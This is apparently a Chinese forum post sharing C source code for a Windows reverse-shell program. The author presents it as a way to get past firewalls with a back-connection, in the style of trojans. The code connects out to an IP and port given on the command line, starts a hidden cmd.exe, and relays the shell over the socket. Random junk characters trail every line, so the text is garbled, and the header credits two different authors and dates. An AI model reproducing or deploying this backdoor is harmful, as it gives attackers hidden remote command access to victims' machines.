这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g,5Tr_
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/* ============================== kTs.ps8ei
Rebound port in Windows NT ?hnxc0~P
By wind,2006/7 6^"Spf]
===============================*/ *TP>)o
#include 3g5
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#include pK@8= +
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#pragma comment(lib,"wsock32.lib") (<xl _L:*.
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void OutputShell(); PFPZ]XI%F
SOCKET sClient; 5}"9)LT@@w
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h7F5-~SpD
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void main(int argc,char **argv)
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{ J'Y;j^
WSADATA stWsaData; 4b:q84
int nRet; f#b;s<G
SOCKADDR_IN stSaiClient,stSaiServer; 4S3uzy%
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if(argc != 3) wj<fi
{ gX!-s*{E
printf("Useage:\n\rRebound DestIP DestPort\n"); :"I!$_E'
return; Q?]-/v
} 6_kv~`"t Z
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4Bz:n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g=]VQ;{
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stSaiClient.sin_family = AF_INET; #l#8-m8g)
stSaiClient.sin_port = htons(0); 6g&Ev'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1paLxR5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )uu1AbT+e
{ =C 7 WQ
printf("Bind Socket Failed!\n"); Tqj:C8K{
return; ^c| _%/
} Z]qbLxJV
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stSaiServer.sin_family = AF_INET; d=d*:<Zx
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lgQ"K(zY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K$/&C:,Q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ble[@VW|
{ 85?;\5%-
printf("Connect Error!"); .W
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return; 6W[~@~D=
} <NXJ&xs-+
OutputShell(); d J>~
} cp$GP*{@
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void OutputShell() Fj4>)!^kM
{ :T )R;E@
char szBuff[1024]; WT63ve
SECURITY_ATTRIBUTES stSecurityAttributes; ?"$Rw32
OSVERSIONINFO stOsversionInfo; V@rqC[on
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^:~!@$*;6
STARTUPINFO stStartupInfo; A~}5T%qb
char *szShell; =~_
PROCESS_INFORMATION stProcessInformation; `3:Q.A_?
unsigned long lBytesRead; a'Yi^;2+\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,0a\Ka{^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7!Qu+R
stSecurityAttributes.lpSecurityDescriptor = 0; Z0%:j\W4c
stSecurityAttributes.bInheritHandle = TRUE; JIPBJ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c{
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rXP~k]tC
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,pIh.sk7s*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D$N;Qb
stStartupInfo.wShowWindow = SW_HIDE; l"-Z#[
stStartupInfo.hStdInput = hReadPipe; 8qL.L(=\/
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &-Ylj
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GetVersionEx(&stOsversionInfo); G>Hg0u0!,
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switch(stOsversionInfo.dwPlatformId) Z@(KZ|
{ g%<n9AUl
case 1: LUdXAi"f
szShell = "command.com"; !_P&SmK3
break;
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default: u4j"U6"]M
szShell = "cmd.exe"; _iL?kf
break; -Xx4:S
} ?4^ 0xGyE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &`oybm-p(
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send(sClient,szMsg,77,0); z]7 /Gc,j
while(1) "T9UedZ
{ !2h ZtX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Gk]ZP31u
if(lBytesRead) t{s*,X\b
{ k!Q{u2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q=}1ud}1
send(sClient,szBuff,lBytesRead,0); DD2K>1A1
} .+,U9e:%
else Wy%FF\D.Y
{ 6$[7hlE
lBytesRead=recv(sClient,szBuff,1024,0); U*b7 Pxq;
if(lBytesRead<=0) break; zz
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3)yL#hXg)
} vA}_x7}n(
} l0C`teO
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return; 0<O()NMv
}